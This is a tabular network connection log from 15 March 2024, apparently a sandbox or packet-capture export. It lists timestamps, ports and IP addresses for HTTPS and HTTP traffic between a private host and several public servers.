Mar 15, 2024 13:57:50.291589022 CET	443	49744	23.51.58.94	192.168.2.17
Mar 15, 2024 13:57:50.291688919 CET	49744	443	192.168.2.17	23.51.58.94
Mar 15, 2024 13:57:50.293144941 CET	49744	443	192.168.2.17	23.51.58.94
Mar 15, 2024 13:57:50.293164968 CET	443	49744	23.51.58.94	192.168.2.17
Mar 15, 2024 13:57:50.293179035 CET	49744	443	192.168.2.17	23.51.58.94
Mar 15, 2024 13:57:50.293185949 CET	443	49744	23.51.58.94	192.168.2.17
Mar 15, 2024 13:57:51.246640921 CET	49680	443	192.168.2.17	20.189.173.13
Mar 15, 2024 13:57:51.549309969 CET	49680	443	192.168.2.17	20.189.173.13
Mar 15, 2024 13:57:51.613303900 CET	49675	443	192.168.2.17	204.79.197.203
Mar 15, 2024 13:57:52.151303053 CET	49680	443	192.168.2.17	20.189.173.13
Mar 15, 2024 13:57:53.359426022 CET	49680	443	192.168.2.17	20.189.173.13
Mar 15, 2024 13:57:55.774401903 CET	49680	443	192.168.2.17	20.189.173.13
Mar 15, 2024 13:57:56.426301003 CET	49675	443	192.168.2.17	204.79.197.203
Mar 15, 2024 13:57:58.253326893 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.253355980 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.253432989 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.253963947 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.253982067 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.448704958 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.449069023 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.449090004 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.449629068 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.450366974 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.450444937 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.450916052 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.451000929 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.451006889 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.451056957 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.451088905 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.451144934 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.451411963 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.451462984 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.640554905 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.640923023 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.640988111 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.641367912 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.641772985 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.641865015 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.641920090 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.653248072 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.653374910 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.653438091 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.653451920 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.653543949 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.653589964 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.653599024 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.656081915 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.656156063 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.656163931 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.658822060 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.658896923 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.658993006 CET	49745	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.659008980 CET	443	49745	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.661763906 CET	49747	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:58.661815882 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:58.661917925 CET	49747	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:58.662245989 CET	49747	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:58.662264109 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:58.684264898 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.687458992 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.855855942 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.855901957 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.855926991 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.855951071 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.855969906 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.856053114 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.856101990 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.857424021 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.857516050 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.857538939 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.862888098 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.862963915 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.862987995 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.866797924 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:58.867117882 CET	49747	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:58.867141962 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:58.867641926 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:58.868128061 CET	49747	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:58.868230104 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:58.868496895 CET	49747	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:58.871471882 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.871555090 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.871567965 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.874937057 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.875006914 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.875013113 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.912241936 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:58.927442074 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.927500963 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.944422007 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.944550037 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.944570065 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.948018074 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.948116064 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.948129892 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.953257084 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.953349113 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.953361034 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.962517023 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.962584972 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.962630987 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.969207048 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.969311953 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.969326973 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.973886967 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.974044085 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.974072933 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.985296011 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.985385895 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.985455990 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.985471964 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.985513926 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.985523939 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.985529900 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.985585928 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.985591888 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.985661983 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.985714912 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.985754013 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.985774040 CET	443	49746	142.250.65.164	192.168.2.17
Mar 15, 2024 13:57:58.985779047 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.985848904 CET	49746	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:57:58.988678932 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:58.988722086 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:58.988913059 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:58.989254951 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:58.989284992 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.078160048 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.078324080 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.078402042 CET	49747	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.078427076 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.078605890 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.078670025 CET	49747	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.079031944 CET	49747	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.079044104 CET	443	49747	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.176031113 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.176312923 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.176346064 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.176668882 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.177154064 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.177225113 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.177362919 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.220279932 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.386909008 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.387496948 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.387526035 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.387584925 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.387650013 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.387727976 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.390790939 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.401814938 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.401850939 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.401920080 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.401941061 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.401992083 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.405844927 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.408632040 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.408710003 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.408714056 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.408727884 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.408776045 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.475039959 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.480171919 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.480257988 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.480288982 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.488405943 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.488471031 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.488485098 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.488502979 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.488568068 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.494066954 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.501059055 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.501128912 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.501131058 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.501156092 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.501215935 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.507441998 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.512779951 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.512841940 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.512855053 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.516649008 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.516716957 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.516730070 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.520440102 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.520510912 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.520524025 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.520626068 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.520697117 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.520756960 CET	49748	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:57:59.520788908 CET	443	49748	142.250.80.36	192.168.2.17
Mar 15, 2024 13:57:59.693468094 CET	49682	80	192.168.2.17	192.229.211.108
Mar 15, 2024 13:57:59.997364044 CET	49682	80	192.168.2.17	192.229.211.108
Mar 15, 2024 13:58:00.584453106 CET	49680	443	192.168.2.17	20.189.173.13
Mar 15, 2024 13:58:00.600534916 CET	49682	80	192.168.2.17	192.229.211.108
Mar 15, 2024 13:58:01.811352968 CET	49682	80	192.168.2.17	192.229.211.108
Mar 15, 2024 13:58:04.216533899 CET	49682	80	192.168.2.17	192.229.211.108
Mar 15, 2024 13:58:06.030370951 CET	49675	443	192.168.2.17	204.79.197.203
Mar 15, 2024 13:58:06.646337986 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.646431923 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:06.646538973 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.647270918 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.647305012 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:06.847479105 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:06.847858906 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.847887993 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:06.848236084 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:06.848717928 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.848789930 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:06.849272966 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.849303007 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:06.849366903 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.849422932 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.849498987 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.849539042 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:06.849766016 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:06.849783897 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.046477079 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.046835899 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.046849012 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.047187090 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.047502041 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.047574997 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.047673941 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.047673941 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.047686100 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.052711964 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.052850962 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.052921057 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.052952051 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.053181887 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.053236961 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.053258896 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.053287983 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.053339005 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.055973053 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.058998108 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.059077978 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.059144974 CET	49749	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.059171915 CET	443	49749	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.061875105 CET	49751	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.061922073 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.062005997 CET	49751	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.062246084 CET	49751	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.062264919 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.246931076 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.247234106 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.247356892 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.247407913 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.247426987 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.247472048 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.247478008 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.250406027 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.250488043 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.250503063 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.253588915 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.253658056 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.253673077 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.260087013 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.260153055 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.260159969 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.262391090 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.262686968 CET	49751	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.262706041 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.264739037 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.265191078 CET	49751	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.265314102 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.265393019 CET	49751	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.265908003 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.265964031 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.265971899 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.312232018 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.316360950 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.335184097 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.338315010 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.338380098 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.338387966 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.343655109 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.343715906 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.343722105 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.349795103 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.349853992 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.349863052 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.355981112 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.356077909 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.356093884 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.356117010 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.356190920 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.362174988 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.368074894 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.368151903 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.368158102 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.373425007 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.373514891 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.373615026 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.373622894 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.373661995 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.378707886 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.384109974 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.384242058 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.384270906 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.384278059 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.384335041 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.389471054 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.394958973 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.395023108 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.395029068 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.400384903 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.400445938 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.400453091 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.403130054 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.403191090 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.403197050 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.403384924 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.403393030 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.403439045 CET	443	49750	142.250.65.164	192.168.2.17
Mar 15, 2024 13:58:07.403451920 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.403481007 CET	49750	443	192.168.2.17	142.250.65.164
Mar 15, 2024 13:58:07.406692982 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.406708002 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.406769991 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.407119036 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.407129049 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.460015059 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.460366964 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.460465908 CET	49751	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.460485935 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.460704088 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.460772038 CET	49751	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.460817099 CET	49751	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.460834026 CET	443	49751	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.598818064 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.599272966 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.599302053 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.599766970 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.600095987 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.600178003 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.600261927 CET	49752	443	192.168.2.17	142.250.80.36
Mar 15, 2024 13:58:07.644243002 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.809607029 CET	443	49752	142.250.80.36	192.168.2.17
Mar 15, 2024 13:58:07.810380936 CET	443	49752	142.250.80.36	192.168.2.17
